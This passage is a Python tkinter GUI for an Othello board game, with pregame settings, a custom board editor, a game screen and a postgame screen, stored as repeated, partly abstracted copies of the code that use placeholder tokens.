Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = 